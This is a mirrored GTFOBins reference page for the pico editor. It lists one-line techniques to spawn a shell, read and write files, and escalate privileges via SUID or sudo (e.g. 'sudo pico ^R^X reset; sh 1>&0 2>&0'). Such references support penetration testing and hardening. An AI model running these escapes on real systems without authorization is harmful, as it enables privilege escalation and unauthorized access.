This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-04 23:01:40 +01:00
Code
Issues
8c08101fed
GTFOBins.github.io
/
_gtfobins
/
pico.md
Andrea Cardaci
33fb39a183
Fix wrong nano and pico SUID
2021-01-10 18:16:30 +01:00
709 B
Raw
Blame
History
functions
shell
file-write
file-read
limited-suid
sudo
code
pico ^R^X reset; sh 1>&0 2>&0
description
code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
pico -s /bin/sh /bin/sh ^T
code
pico file_to_write DATA ^O
code
pico file_to_read
description
code
The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
./pico -s /bin/sh /bin/sh ^T
code
sudo pico ^R^X reset; sh 1>&0 2>&0